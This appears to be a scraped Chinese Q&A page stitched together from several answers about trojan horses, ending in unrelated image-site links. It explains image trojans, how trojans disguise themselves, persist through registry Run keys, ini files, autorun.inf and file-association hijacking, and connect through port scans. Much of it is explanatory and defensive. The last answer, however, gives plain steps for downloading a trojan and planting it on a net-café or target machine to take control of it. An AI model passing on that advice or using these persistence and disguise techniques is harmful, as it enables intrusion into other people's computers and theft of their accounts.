啊,超長的OnClientRead事件終於寫完了。最後別忘了要在此伺服器源碼文件中添加以下頭文件:
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <dos.h>
#include <sys\stat.h>
#include <winbase.h>
#include <stdio.h>
#include <process.h>
#include <io.h>
#include <mmsystem.h>
至此,伺服器端(Server)程序

Ⅳ 一張網頁上面的圖片有可能帶木馬病毒嗎

網頁上的圖片文件可能存在病毒。
2004年9月14日,微軟發布了MS04-028安全公告:JPEG處理(GDI+)中的緩沖區溢出可能使代碼得以執行。其對應的動態鏈接庫為GdiPlus.dll,是一種圖形設備介面,能夠為應用程序和程序員提供二維媒介圖形、映像和版式,大部分Windows程序都調用這個DLL完成JPEG格式圖片的處理工作。
因此,一般情況下,並不是圖片自己能傳播病毒,而是系統負責圖形處理工作的模塊會在處理圖片時發生溢出導致圖片內攜帶的惡意指令得以執行破壞。如果某個圖片工具不調用這個系統模塊,而是使用自己的處理模塊,那麼同樣包含惡意指令的圖片就不能達到破壞目的。但是因為這個系統模塊是默認的處理模塊,所以大部分程序在「JPEG病毒」面前紛紛落馬。
對於虛假圖片文件的欺騙手法,只要用戶補上了MIME和IFRAME漏洞,那麼入侵將可以直接避免;至於BMP木馬,它的防範是幾乎不可避免,但是它有個最大的弱點,大部分情況下只能在Win9x環境正常執行,用Win2000以上的用戶不必擔心了。

Ⅳ 一句話木馬,圖片馬,冰狐系列怎麼用!

請不要傳播病毒、盜號木馬程序,惡意傳播病毒和木馬會污染互聯網環境,請您加入到維護網路安全的大軍中!

木馬程序會導致您和他人的帳號和密碼泄露,從而可能使您和他人的QQ財產,如游戲、QB等受到嚴重威脅,嚴重的還會違反法律。
請您不要輕易安裝陌生人傳送給您的未知文件,有可能是病毒或者木馬。
建議您安裝騰訊電腦管家對您的電腦進行實時防護,保護您的電腦安全運行,避免給您的財產和個人隱私帶來威脅。
騰訊電腦管家企業平台:http://..com/c/guanjia/

Ⅵ 木馬如何使用和下載

什麼是木馬?
特洛伊木馬(以下簡稱木馬),英文叫做「Trojan house」,其名稱取自希臘神話的特洛伊木馬記。
它是一種基於遠程式控制制的黑客工具,具有隱蔽性和非授權性的特點。
所謂隱蔽性是指木馬的設計者為了防止木馬被發現,會採用多種手段隱藏木馬,這樣服務端即使發現感染了木馬,由於不能確定其具體位置,往往只能望「馬」興嘆。
所謂非授權性是指一旦控制端與服務端連接後,控制端將享有服務端的大部分操作許可權,包括修改文件,修改注冊表,控制滑鼠,鍵盤等等,而這些權力並不是服務端賦予的,而是通過木馬程序竊取的。

從木馬的發展來看,基本上可以分為兩個階段。
最初網路還處於以UNIX平台為主的時期,木馬就產生了,當時的木馬程序的功能相對簡單,往往是將一段程序嵌入到系統文件中,用跳轉指令來執行一些木馬的功能,在這個時期木馬的設計者和使用者大都是些技術人員,必須具備相當的網路和編程知識。
而後隨著WINDOWS平台的日益普及,一些基於圖形操作的木馬程序出現了,用戶界面的改善,使使用者不用懂太多的專業知識就可以熟練的操作木馬,相對的木馬入侵事件也頻繁出現,而且由於這個時期木馬的功能已日趨完善,因此對服務端的破壞也更大了。
所以所木馬發展到今天,已經無所不用其極,一旦被木馬控制,你的電腦將毫無秘密可言。

鑒於木馬的巨大危害性,我們將分原理篇,防禦與反擊篇,資料篇三部分來詳細介紹木馬,希望大家對特洛伊木馬這種攻擊手段有一個透徹的了解。

原 理 篇

基礎知識
在介紹木馬的原理之前有一些木馬構成的基礎知識我們要事先加以說明,因為下面有很多地方會提到這些內容。
一個完整的木馬系統由硬體部分,軟體部分和具體連接部分組成。
(1)硬體部分:建立木馬連接所必須的硬體實體。 控制端:對服務端進行遠程式控制制的一方。 服務端:被控制端遠程式控制制的一方。 INTERNET:控制端對服務端進行遠程式控制制,數據傳輸的網路載體。
(2)軟體部分:實現遠程式控制制所必須的軟體程序。 控制端程序:控制端用以遠程式控制制服務端的程序。 木馬程序:潛入服務端內部,獲取其操作許可權的程序。 木馬配置程序:設置木馬程序的埠號,觸發條件,木馬名稱等,使其在服務端藏得更隱蔽的程序。
(3)具體連接部分:通過INTERNET在服務端和控制端之間建立一條木馬通道所必須的元素。 控制端IP,服務端IP:即控制端,服務端的網路地址,也是木馬進行數據傳輸的目的地。 控制端埠,木馬埠:即控制端,服務端的數據入口,通過這個入口,數據可直達控制端程序或木馬 程序。

木馬原理
用木馬這種黑客工具進行網路入侵,從過程上看大致可分為六步(具體可見下圖),下面我們就按這六步來詳細闡述木馬的攻擊原理。

一.配置木馬
一般來說一個設計成熟的木馬都有木馬配置程序,從具體的配置內容看,主要是為了實現以下兩方 面功能:
(1)木馬偽裝:木馬配置程序為了在服務端盡可能的好的隱藏木馬,會採用多種偽裝手段,如修改圖標 ,捆綁文件,定製埠,自我銷毀等,我們將在「傳播木馬」這一節中詳細介紹。
(2)信息反饋:木馬配置程序將就信息反饋的方式或地址進行設置,如設置信息反饋的郵件地址,IRC號 ,ICO號等等,具體的我們將在「信息反饋」這一節中詳細介紹。

二.傳播木馬
(1)傳播方式:
木馬的傳播方式主要有兩種:一種是通過E-MAIL,控制端將木馬程序以附件的形式夾在郵件中發送出 去, 收信人只要打開附件系統就會感染木馬;另一種是軟體下載,一些非正規的網站以提供軟體下載為 名義, 將木馬捆綁在軟體安裝程序上,下載後,只要一運行這些程序,木馬就會自動安裝。
(2)偽裝方式:
鑒於木馬的危害性,很多人對木馬知識還是有一定了解的,這對木馬的傳播起了一定的抑製作用,這 是木馬設計者所不願見到的,因此他們開發了多種功能來偽裝木馬,以達到降低用戶警覺,欺騙用戶的目 的。
(一)修改圖標
當你在E-MAIL的附件中看到這個圖標時,是否會認為這是個文本文件呢?但是我不得不告 訴你,這也有可能是個木馬程序,現在 已經有木馬可以將木馬服務端程序的圖標改成HTML,TXT, ZIP等各種文件的圖標,這有相當大的迷 惑性,但是目前提供這種功能的木馬還不多見,並且這種 偽裝也不是無懈可擊的,所以不必整天提 心吊膽,疑神疑鬼的。
(二)捆綁文件
這種偽裝手段是將木馬捆綁到一個安裝程序上,當安裝程序運行時,木馬在用戶毫無察覺的 情況下 ,偷偷的進入了系統。至於被捆綁的文件一般是可執行文件(即EXE,COM一類的文件)。
(三)出錯顯示
有一定木馬知識的人都知道,如果打開一個文件,沒有任何反應,這很可能就是個木馬程序, 木馬的 設計者也意識到了這個缺陷,所以已經有木馬提供了一個叫做出錯顯示的功能。當服務 端用戶打開木 馬程序時,會彈出一個如下圖所示的錯誤提示框(這當然是假的),錯誤內容可自由 定義,大多會定製成 一些諸如「文件已破壞,無法打開的!」之類的信息,當服務端用戶信以 為真時,木馬卻悄悄侵入了 系統。
(四)定製埠
很多老式的木馬埠都是固定的,這給判斷是否感染了木馬帶來了方便,只要查一下特定的 埠就 知道感染了什麼木馬,所以現在很多新式的木馬都加入了定製埠的功能,控制端用戶可 以在1024---65535之間任選一個埠作為木馬埠(一般不選1024以下的埠),這樣就給判斷 所感染木馬類型帶 來了麻煩。
(五)自我銷毀
這項功能是為了彌補木馬的一個缺陷。我們知道當服務端用戶打開含有木馬的文件後,木馬 會將自己拷貝到WINDOWS的系統文件夾中(C:\WINDOWS或C:\WINDOWS\SYSTEM目錄下),一般來說 原木馬文件 和系統文件夾中的木馬文件的大小是一樣的(捆綁文件的木馬除外),那麼中了木馬 的朋友只要在近來 收到的信件和下載的軟體中找到原木馬文件,然後根據原木馬的大小去系統 文件夾找相同大小的文件, 判斷一下哪個是木馬就行了。而木馬的自我銷毀功能是指安裝完木 馬後,原木馬文件將自動銷毀,這 樣服務端用戶就很難找到木馬的來源,在沒有查殺木馬的工 具幫助下,就很難刪除木馬了。
(六)木馬更名
安裝到系統文件夾中的木馬的文件名一般是固定的,那麼只要根據一些查殺木馬的文章,按 圖索驥在系統文件夾查找特定的文件,就可以斷定中了什麼木馬。所以現在有很多木馬都允許控 制端用戶自由定製安裝後的木馬文件名,這樣很難判斷所感染的木馬類型了。

三.運行木馬

服務端用戶運行木馬或捆綁木馬的程序後,木馬就會自動進行安裝。首先將自身拷貝到WINDOWS的 系統文件夾中(C:\WINDOWS或C:\WINDOWS\SYSTEM目錄下),然後在注冊表,啟動組,非啟動組中設置好木馬 的觸發條件 ,這樣木馬的安裝就完成了。安裝後就可以啟動木馬了,具體過程見下圖:

(1)由觸發條件激活木馬

觸發條件是指啟動木馬的條件,大致出現在下面八個地方:
1.注冊表:打開HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\下的五個以Run 和RunServices主鍵,在其中尋找可能是啟動木馬的鍵值。
2.WIN.INI:C:\WINDOWS目錄下有一個配置文件win.ini,用文本方式打開,在[windows]欄位中有啟動 命令 load=和run=,在一般情況下是空白的,如果有啟動程序,可能是木馬。 3.SYSTEM.INI:C:\WINDOWS目錄下有個配置文件system.ini,用文本方式打開,在[386Enh],[mic], [drivers32]中有命令行,在其中尋找木馬的啟動命令。
4.Autoexec.bat和Config.sys:在C盤根目錄下的這兩個文件也可以啟動木馬。但這種載入方式一般都 需要控制端用戶與服務端建立連接後,將已添加木馬啟動命令的同名 文件上傳 到服務端覆蓋這兩個文件才行。
5.*.INI:即應用程序的啟動配置文件,控制端利用這些文件能啟動程序的特點,將製作好的帶有木馬 啟動命令的同名文件上傳到服務端覆蓋這同名文件,這樣就可以達到啟動木馬的目的了。
6.注冊表:打開HKEY_CLASSES_ROOT\文件類型\shell\open\command主鍵,查看其鍵值。舉個例子,國產 木馬「冰河」就是修改HKEY_CLASSES_ROOT\txtfile\shell\open\command下的鍵值,將「C :\WINDOWS \NOTEPAD.EXE %1」該為「C:\WINDOWS\SYSTEM\SYXXXPLR.EXE %1」,這時你雙 擊一個TXT文件 後,原本應用NOTEPAD打開文件的,現在卻變成啟動木馬程序了。還要說明 的是不光是TXT文件 ,通過修改HTML,EXE,ZIP等文件的啟動命令的鍵值都可以啟動木馬 ,不同之處只在於「文件類型」這個主鍵的差別,TXT是txtfile,ZIP是WINZIP,大家可以 試著去找一下。
7.捆綁文件:實現這種觸發條件首先要控制端和服務端已通過木馬建立連接,然後控制端用戶用工具 軟體將木馬文件和某一應用程序捆綁在一起,然後上傳到服務端覆蓋原文件,這樣即使 木馬被刪 除了,只要運行捆綁了木馬的應用程序,木馬又會被安裝上去了。
8.啟動菜單:在「開始---程序---啟動」選項下也可能有木馬的觸發條件。

(2)木馬運行過程

木馬被激活後,進入內存,並開啟事先定義的木馬埠,准備與控制端建立連接。這時服務端用 戶可以在MS-DOS方式下,鍵入NETSTAT -AN查看埠狀態,一般個人電腦在離線狀態下是不會有埠 開放的,如果有埠開放,你就要注意是否感染木馬了。下面是電腦感染木馬後,用NETSTAT命令查 看埠的兩個實例:

其中①是服務端與控制端建立連接時的顯示狀態,②是服務端與控制端還未建立連接時的顯示狀態。

在上網過程中要下載軟體,發送信件,網上聊天等必然打開一些埠,下面是一些常用的埠:
(1)1---1024之間的埠:這些埠叫保留埠,是專給一些對外通訊的程序用的,如FTP使用21, SMTP使用25,POP3使用110等。只有很少木馬會用保留埠作為木馬埠 的。
(2)1025以上的連續埠:在上網瀏覽網站時,瀏覽器會打開多個連續的埠下載文字,圖片到本地 硬碟上,這些埠都是1025以上的連續埠。
(3)4000埠:這是OICQ的通訊埠。
(4)6667埠:這是IRC的通訊埠。 除上述的埠基本可以排除在外,如發現還有其它埠打開,尤其是數值比較大的埠,那就要懷疑 是否感染了木馬,當然如果木馬有定製埠的功能,那任何埠都有可能是木馬埠。

四.信息泄露:

一般來說,設計成熟的木馬都有一個信息反饋機制。所謂信息反饋機制是指木馬成功安裝後會收集 一些服務端的軟硬體信息,並通過E-MAIL,IRC或ICO的方式告知控制端用戶。下圖是一個典型的信息反 饋郵件。

從這封郵件中我們可以知道服務端的一些軟硬體信息,包括使用的操作系統,系統目錄,硬碟分區況, 系統口令等,在這些信息中,最重要的是服務端IP,因為只有得到這個參數,控制端才能與服務端建立 連接,具體的連接方法我們會在下一節中講解。

五.建立連接:

這一節我們講解一下木馬連接是怎樣建立的 。一個木馬連接的建立首先必須滿足兩個條件:一是 服務端已安裝了木馬程序;二是控制端,服務端都要在線 。在此基礎上控制端可以通過木馬埠與服 務端建立連接。為了便於說明我們採用圖示的形式來講解。

如上圖所示A機為控制端,B機為服務端,對於A機來說要與B機建立連接必須知道B機的木馬埠和IP地 址,由於木馬埠是A機事先設定的,為已知項,所以最重要的是如何獲得B機的IP地址。獲得B機的IP 地址的方法主要有兩種:信息反饋和IP掃描。對於前一種已在上一節中已經介紹過了,不再贅述,我們 重點來介紹IP掃描,因為B機裝有木馬程序,所以它的木馬埠7626是處於開放狀態的,所以現在A機只 要掃描IP地址段中7626埠開放的主機就行了,例如圖中B機的IP地址是202.102.47.56,當A機掃描到 這個IP時發現它的7626埠是開放的,那麼這個IP就會被添加到列表中,這時A機就可以通過木馬的控 制端程序向B機發出連接信號,B機中的木馬程序收到信號後立即作出響應,當A機收到響應的信號後, 開啟一個隨即埠1031與B機的木馬埠7626建立連接,到這時一個木馬連接才算真正建立。值得一提 的要掃描整個IP地址段顯然費時費力,一般來說控制端都是先通過信息反饋獲得服務端的IP地址,由於 撥號上網的IP是動態的,即用戶每次上網的IP都是不同的,但是這個IP是在一定范圍內變動的,如圖中 B機的IP是202.102.47.56,那麼B機上網IP的變動范圍是在202.102.000.000---202.102.255.255,所以 每次控制端只要搜索這個IP地址段就可以找到B機了。

六.遠程式控制制:

木馬連接建立後,控制端埠和木馬埠之間將會出現一條通道,見下圖

控制端上的控制端程序可藉這條通道與服務端上的木馬程序取得聯系,並通過木馬程序對服務端進行遠 程式控制制。下面我們就介紹一下控制端具體能享有哪些控制許可權,這遠比你想像的要大。
(1)竊取密碼:一切以明文的形式,*形式或緩存在CACHE中的密碼都能被木馬偵測到,此外很多木馬還 提供有擊鍵記錄功能,它將會記錄服務端每次敲擊鍵盤的動作,所以一旦有木馬入侵, 密碼將很容易被竊取。
(2)文件操作:控制端可藉由遠程式控制制對服務端上的文件進行刪除,新建,修改,上傳,下載,運行,更改屬 性等一系列操作,基本涵蓋了WINDOWS平台上所有的文件操作功能。
(3)修改注冊表:控制端可任意修改服務端注冊表,包括刪除,新建或修改主鍵,子鍵,鍵值。有了這 項功能控制端就可以禁止服務端軟碟機,光碟機的使用,鎖住服務端的注冊表,將服務端 上木馬的觸發條件設置得更隱蔽的一系列高級操作。
(4)系統操作:這項內容包括重啟或關閉服務端操作系統,斷開服務端網路連接,控制服務端的滑鼠, 鍵盤,監視服務端桌面操作,查看服務端進程等,控制端甚至可以隨時給服務端發送信 息,想像一下,當服務端的桌面上突然跳出一段話,不嚇人一跳才怪

Ⅶ 怎麼樣用木馬啊

網路時代可不太平,誰沒有遭遇過病毒或木馬?從CIH、I Love You到紅色代碼、Nimda,從BO到冰河,無一不是網友經常懈逅的對象。怎麼避免這些「艷遇」是廣大用戶孜孜以求的目標,不過,「道高一尺,魔高一丈」,「防」永遠是落後的,主動消滅它們才是積極主動的。

要消滅它們,首先就要掌握病毒及木馬是怎麼入侵我們的"愛機"的。有關病毒及木馬的入侵招數的文章很多,但都不太全面,編者偶然間發現了一篇作者不詳,但內容頗為全面的文章,特意整理出來,希望對大家有所幫助。

一、修改批處理

很古老的方法,但仍有人使用。一般通過修改下列三個文件來作案:

Autoexec.bat(自動批處理,在引導系統時執行)

Winstart.bat(在啟動GUI圖形界面環境時執行)

Dosstart.bat(在進入MS-DOS方式時執行)

例如:編輯C:\\windows\\Dosstart.bat,加入:start Notepad,當你進入「MS-DOS方式」時,就可以看到記事本被啟動了。

二、修改系統配置

常使用的方法,通過修改系統配置文件System.ini、Win.ini來達到自動運行的目的,涉及范圍有:

在Win.ini文件中:

[windows]

load=程序名

run=程序名

在System.ini文件中:

[boot]

shell=Explorer.exe

其中修改System.ini中Shell值的情況要多一些,病毒木馬通過修改這里使自己成為Shell,然後載入Explorer.exe,從而達到控制用戶電腦的目的。

三、藉助自動運行功能

這是黑客最新研發成果,之前該方法不過被發燒的朋友用來修改硬碟的圖標而已,如今它被賦予了新的意義,黑客甚至聲稱這是Windows的新BUG。

Windows的自動運行功能確實很爛,早年許多朋友因為自動運行的光碟中帶有CIH病毒而中招,現在不少軟體可以方便地禁止光碟的自動運行,但硬碟呢?其實硬碟也支持自動運行,你可嘗試在D盤根目錄下新建一個Autorun.inf,用記事本打開它,輸入如下內容:

[autorun]

open=Notepad.exe



保存後進入「我的電腦」,按F5鍵刷新一下,然後雙擊D盤盤符,怎麼樣?記事本打開了,而D盤卻沒有打開。

當然,以上只是一個簡單的實例,黑客做得要精密很多,他們會把程序改名為「.exe」(不是空格,而是中文的全形空格,這樣在Autorun.inf中只會看到「open=」而被忽略,此種行徑在修改系統配置時也常使用,如「run=」;為了更好地隱藏自己,其程序運行後,還會替你打開硬碟,讓你難以查覺。

由此可以推想,如果你打開了D盤的共享,黑客就可以將木馬和一個Autorun.inf存入該分區,當Windows自動刷新時,你也就「中獎」了,因此,大家千萬不要共享任何根目錄,當然更不能共享系統分區(一般為C:)。
四、通過注冊表中的Run來啟動

很老套的方法,但80%的黑客仍在使用,通過在Run、RunOnce、RunOnceEx、RunServices、RunServicesOnce中添加鍵值,可以比較容易地實現程序的載入,黑客尤其方便在帶」Once」的主鍵中作手腳,因此帶「Once」的主鍵中的鍵值,在程序運行後將被刪除,因此當用戶使用注冊表修改程序查看時,不會發現異樣。另外,還有這樣的程序:在啟動時刪除Run中的鍵值,而在退出時(或關閉系統時)又添加鍵值,達到隱蔽自己的目的。(這種方法的缺點是:害怕惡意關機或停電,呵呵!)

五、通過文件關聯啟動

很受黑客喜愛的方式,通過EXE文件的關聯(主鍵為:exefile),讓系統在執行任何程序之前都運行木馬,真的好毒!通常修改的還有txtfile(文本文件的關聯,誰不用用記事本呢?)、regfile(注冊表文件關聯,一般用來防止用戶恢復注冊表,例如讓用戶雙擊.reg文件就關閉計算機)、unkown(未知文件關聯)。為了防止用戶恢復注冊表,用此法的黑客通常還連帶謀殺scanreg.exe、sfc.exe、Extrac32.exe、regedit.exe等程序,阻礙用戶修復。

六、通過API HOOK啟動

這種方法較為高級,通過替換系統的DLL文件,讓系統啟動指定的程序。例如:撥號上網的用戶必須使用Rasapi32.dll中的API函數來進行連接,那麼黑客就會替換這個DLL,當用戶的應用程序調用這個API函數,黑客的程序就會先啟動,然後調用真正的函數完成這個功能(特別提示:木馬可不一定是EXE,還可以是DLL、VXD),這樣既方便又隱蔽(不上網時根本不運行)。中此絕毒的蟲子,只有兩種選擇:Ghost或重裝系統,幸好此毒廖廖無幾,實屬萬蟲之幸!

API的英文全稱為:Application Programming Interface,也就是應用程序編程介面。在Windows程序設計領域發展初期,Windows程序員所能使用的編程工具唯有API函數,這些函數是Windows提供給應用程序與操作系統的介面,他們猶如「積木塊」一樣,可以搭建出各種界面豐富,功能靈活的應用程序。所以可以認為API函數是構築整個Windows框架的基石,在它的下面是Windows的操作系統核心,而它的上面則是所有華麗的Windows應用程序。
七、通過VXD啟動

此法也是高手專用版,通過把木馬寫成VXD形式載入,直接控制系統底層,極為罕見。它們一般在注冊表[HKEY_ LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\VxD]主鍵中啟動,很難發覺,解決方法最好也是用Ghost恢復或重新干凈安裝。

八、通過瀏覽網頁啟動

通過此種途徑有兩種方法:

利用MIME漏洞:這是2001年黑客中最流行的手法,因為它簡單有效,加上寬頻網的流行,令用戶防不勝防,想一想,僅僅是滑鼠變一下「沙漏」,木馬就安裝妥當,Internet真是太「方便」了!不過今年有所減少,一方面許多人都改用IE6.0;另一方面,大部分個人主頁空間都不允許上傳.eml文件了。

MIME被稱為多用途Internet郵件擴展(Multipurpose Internet Mail Extensions),是一種技術規范,原用於電子郵件,現在也可以用於瀏覽器。MIME對郵件系統的擴展是巨大的,在它出現前,郵件內容如果包含聲音和動畫,就必須把它變為ASCII碼或把二進制的信息變成可以傳送的編碼標准,而接收方必須經過解碼才可以獲得聲音和圖畫信息。MIME提供了一種可以在郵件中附加多種不同編碼文件的方法,這與原來的郵件是大大不同的。而現在MIME已經成為了HTTP協議標準的一個部分。

九、利用Java applet

劃時代的Java更高效、更方便——不過是悄悄地修改你的注冊表,讓你千百次地訪問黃(黑)色網站,讓你關不了機,讓你……,還可以讓你中木馬。這種方法其實很簡單,先利用HTML把木馬下載到你的緩存中,然後修改注冊表,指向其程序。

十、利用系統自動運行的程序

這一條主要利用用戶的麻痹大意和系統的運行機制進行,命中率很高。在系統運行過程中,有許多程序是自動運行的,比如:磁碟空間滿時,系統自動運行「磁碟清理」程序(cleanmgr.exe);啟動資源管理器失敗時,雙擊桌面將自動運行「任務管理器」程序(Taskman.exe);格式化磁碟完成後,系統將提示使用「磁碟掃描」程序(scandskw.exe);點擊幫助或按F1時,系統將運行Winhelp.exe或Hh.exe打開幫助文件;啟動時,系統將自動啟動「系統欄」程序(SysTray.exe)、「輸入法」程序(internat.exe)、「注冊表檢查」 程序(scanregw.exe)、「計劃任務」程序(Mstask.exe)、「電源管理」程序等。

這為惡意程序提供了機會,通過覆蓋這些文件,不必修改任何設置系統就會自動執行它們!而用戶在檢查注冊表和系統配置時不會引起任何懷疑,例如「注冊表檢查」 程序的作用是啟動時檢查和備份注冊表,正常情況不會有任何提示,那麼它被覆蓋後真可謂是「神不知、鬼不覺」。當然,這也許會被「系統文件檢查器」檢查(但勤快的人不多)出來。

黑客還有一高招「偷天換日」!不覆蓋程序也可達到這個目的,方法是:利用System目錄比Windows目錄優先的特點,以相同的文件名,將程序放到System目錄中。你可以試試,將Notepad.exe(記事本)復制到System目錄中,並改名為Regedit.exe(注冊表編輯器),然後從「開始」→「運行」中,輸入「Regedit」回車,你會發現運行的竟然是那個假冒的Notepad.exe!同樣,如果黑客將程序放到System中,然後在運行時調用真正的Regedit,誰知道呢?(這種方法由於大部分目標程序不是經常被系統調用,因此常被黑客用來作為被刪除後的恢復方法,如果某個東東被刪除了又出現,不妨檢查檢查這些文件。)

十一、還有什麼「高招」

黑客還常常使用名字欺騙技術和運行假象與之配合。名字欺騙技術如上述的全形空格主文件名「.exe」就是一例,另外常見的有在修改文件關聯時,使用「 」(ASCII值255,輸入時先按下Alt鍵,然後在小鍵盤上輸入255)作為文件名,當這個字元出現在注冊表中時,人們往往很難發現它的存在。此外還有利用字元相似性的,如:「Systray.exe」和「5ystray」(5與大寫S相似);長度相似性的,如:「Explorer.exe」和「Explore.exe」(後者比前者少一個字母,心理學實驗證明,人的第一感覺只識別前四個字母,並對長度不敏感);運行假象則是指運行某些木馬時,程序給出一個虛假的提示來欺騙用戶。一個運行後什麼都沒有的程序,地球人都知道不是什麼好東西;但對於一個提示「內存不足的程序,恐怕還在埋怨自己的內存太少哩!

Ⅷ 木馬病毒是通過什麼方式傳播的他們是怎樣盜號的

有些是為了顯示自己的技術,這些人一般也不會針對個人用戶,
更多的是為了竊取帳號密碼,
而且現在的黑客軟體很容易得到,
使得更多的別有用心的人利用來牟利。
建議不要去不知名網站,
不要隨便打開附件,
不要隨便下在可執行程序。
更多的是為了獲得經濟利益
1、什麼是電腦病毒?
也許我們曾聽人說過:「電腦有病毒了,趕緊找殺毒軟體!」電腦又不是動物和人類,它怎麼會有病毒呢?其實,所謂的電腦「病毒」,並不是生物學上的病毒,會導致接觸電腦的人生病同,得感冒、肝炎之類的病,而是由人所編寫的,存在電腦中的一種短小、特殊的程序,這種程序平時處於「安靜」狀態,並不馬上發作,在一定情況下,它就會發作,對電腦系統造成破壞。例如,小球病毒就是一種電腦病毒,它發作時,會出現許多跳躍的小球,再提示「你的電腦成為石頭!」接著,電腦中的數據就慢慢被破壞掉了。使計算機無法啟動。另外,蠕蟲病毒能通過網路郵件系統快速自動擴散傳播,在短時間內造成大面積網路阻塞或造成世界的互聯網路癱瘓。有一些病毒還可以通過網路任意控制你的計算機,並獲得重要文件等等。電腦病毒能夠像生物病毒一樣,在許多電腦之間傳播,危害極大。電腦可以通過軟體盤、網路傳播,使電腦「生病」。

2、病毒的特徵:

(1)傳染性:可通過各種途徑傳播。

(2) 隱藏性:計算機病毒總是以欺騙的方式隱藏在各種文件中。

(3)潛伏性

(4) 破壞性

(5)未知性:病毒的技術在不斷更新,不斷會有新的病毒產生。

3.傳播途徑:

(1)硬體設備

(2) 移動存儲設備

(3)網路

4、電腦的病毒有許多種類,大體上可分為以下幾類:

(1)引導型病毒

(2)可執行文件病毒

(3)宏病毒

(4)混合型病毒

(5)特洛伊木馬型病毒

(6)Internet語言病毒

5、病毒的預防:

(1)不使用盜版或來歷不明的軟體

(2) 購買了新的機子、硬碟、軟體等要進行病毒檢測。

(3)隨時注意各種異常現象。

(4)擁有一套正版殺毒軟體。

(5)經常將防毒軟體升級。
游盤現在也是傳播病毒的一種新途徑

Ⅸ "黑客"如何使用木馬程序

在黑客的領域中,有一句針對入侵者的名言是這么講的:」一次入侵的成功,絕非是因為你的技術高明,而是你的運氣較佳」。是的,無論你對黑客了解多少,在你所嚮往的傳奇黑客故事背後,必然有著令人難以想像的艱辛和毅力。對於一個現成的系統漏洞,足以讓一位高明的入侵者完全摧毀欲攻擊的目標;相對於一些愛用木馬的白痴入侵者而言,也正顯現出入侵者在其水平與功力上極大差異。
如何會有木馬?
關於木馬程序的起源可追溯到二十年前的美國中情局,或者你也可以不要看太遠,在1995年商業上所使用的一種伺服器端與客戶端的連線工具就是標準的木馬程序。當初木馬軟體的使用是基於相當良好的網路管理概念,而受到高級入侵者對外發表與使用的時間點延伸到1998年8月,此時它才真正足以配合Windows內置的強大工具,更改登錄文件或系統文件,發撅出完美的「躲藏」功能而成為名正言順的Back Door(後門)。
據悉,在亞洲地區,木馬軟體的原始碼程序在1999年初的中國大陸黑客組織的團隊中,遭到」鷹派」方面人士的重新編寫,爾後不到短短的二年,出現不下百匹來自中國大陸的「原創」木馬,包含目前中國本土頂級的」冰河」木馬,由原先的草稿式1.0,2.0,2.02等版本持續不斷經過改寫,一直升級到4.02才真正成為一個強大的木馬軟體。
當前的木馬的程序幾乎都是使用VC 或C 來編寫,只有少數幾個使用VB編寫,配合微軟在Windows內部內置許多秘密的工具,藉以「面向對象」的理念,可以使用簡單的繼承直接來使用,有了微軟的Windows XP內置的強大功能,相信對於要編寫一支讓人惻目的木馬程序已經不再是一件苦差事,我們,正拭目以待這XP將會為網路帶來的危險性。。
白痴入侵者才使用這種軟體?
在近幾年的入侵事件中我們可以發現一個共同的特點:凡是對於電腦愈不了解、水平越低的入侵者,愈喜歡使用木馬軟體。我們為什麼要稱使用木馬軟體的入侵者為白痴?非常可笑的一點是,當你的電腦安裝木馬程序的同時,你已經成為第一代被植入木馬的受害者,而當你上網的同時,提供這些程序的人可以在數秒之內入侵到你的電腦,並且將你電腦的密碼文件一次抓走……這簡直是一種諷刺!
當前的木馬愈來愈恐怖,遭到植入的電腦不光只是受害者本人,先進的木馬經過轉移後,會衍生出第二代,第三代,持續的向下延伸,植入每一台安裝木馬軟體的電腦。而這些專門研發木馬軟體的高級入侵者,可以將所有安裝過木馬的電腦當成是一個個活的跳板,你的電腦將遭到隱密的改造,系統文件內將會潛伏著不為人知的秘密,這些人假手你的電腦可以輕松的使用「嫁接」後的IP,由你的電腦主動發出攻擊的指令,如果入侵者的軟硬體各方面條件具備,將有可能一次可以發動數萬台的電腦對某一個甚至數個機構發動總攻擊--信息戰的時代即將來臨,我們正在面臨前所謂未見的網路大戰,只要你的電腦安裝了木馬,你就可能成為被利用者,一位無名的士兵,一支被利用的槍。然而,這正是這一群愛用木馬的白痴自找的,不能怨社會。請木馬愛好者牢記:黑他人之前,自己必將先被黑。這是一種網路的相對論。
殺馬,無用的觀點?
很多人遭到木馬入侵後,會尋找系統內相關被更改的地方進行查殺。其實木馬是殺不完的,每日在全球誕生的木馬有幾百種,一支木馬只要稍微改一下程序,就會變成一支新的木馬.
事實上,木馬並沒有想像的那麼可怕,要防範木馬的方法也很簡單。萬變不離其宗,木馬啟動都有一個方式,它只是在一個特定的情況下啟動。所以,只要不開啟來路不明的文件、信件,不到不安全的網站,平時多注意一下你的埠,查看一下正在運行的程序,用此來監測大部分木馬應該沒問題的。
就算中了木馬也不要太緊張,當前除了少數先進的木馬具有配合植入電腦的時鍾來自我運行外,多數的木馬本身還沒有攻擊性,暫時還不用過於擔心。
總之,在網路上木馬程序還稱不上是一種可怕的敵人,溢位的漏洞才是真正可怕的問題。

Ⅹ 怎樣學會使用木馬

找個提供木馬程序下載的網站,然後下載一個木馬,在把這個木馬傳到自己的郵箱裡面,然後去你想要黑的那台機器或那家網吧去上網,把木馬程序下載到裡面,然後就可以按照木馬程序的提示,一步一步的操縱被你攻擊的那台電腦了。

在網上提供木馬下載的地方,仔細找找,其實也不少,前一段時間,幾乎所有的網吧的網管都利用自己網管的方便條件,瘋狂盜取別人的QQ號和網路游戲賬號,導致現在的每一家網吧,都不得不安裝還原精靈。

閱讀全文

與網路人怎麼使用圖片木馬相關的資料

熱點內容
幸福暖心男生圖片 瀏覽:591
美女拿狙擊槍的圖片 瀏覽:470
王源發型圖片側面 瀏覽:571
word如何把選定內容合成圖片 瀏覽:276
找一張男生的穿古裝的圖片 瀏覽:522
李清照壁紙高清圖片 瀏覽:231
衣服簡筆畫圖片大全集漂亮 瀏覽:877
如何解析圖片中的病毒 瀏覽:631
在線圖片視頻怎麼弄出來的 瀏覽:162
汽車燈價格及圖片 瀏覽:947
word插入的圖片自動編號 瀏覽:940
圖片頭像男生氣質成熟 瀏覽:280
論文一半文字一半圖片 瀏覽:819
美圖秀秀圖片文字去掉 瀏覽:777
如何免費把圖片變成word文檔 瀏覽:226
動漫頭像女生黑白頭像帶字圖片素材 瀏覽:691
星河圖片二次元男生 瀏覽:116
社會的圖片帶文字連圖 瀏覽:114
女孩的腋毛圖片 瀏覽:608
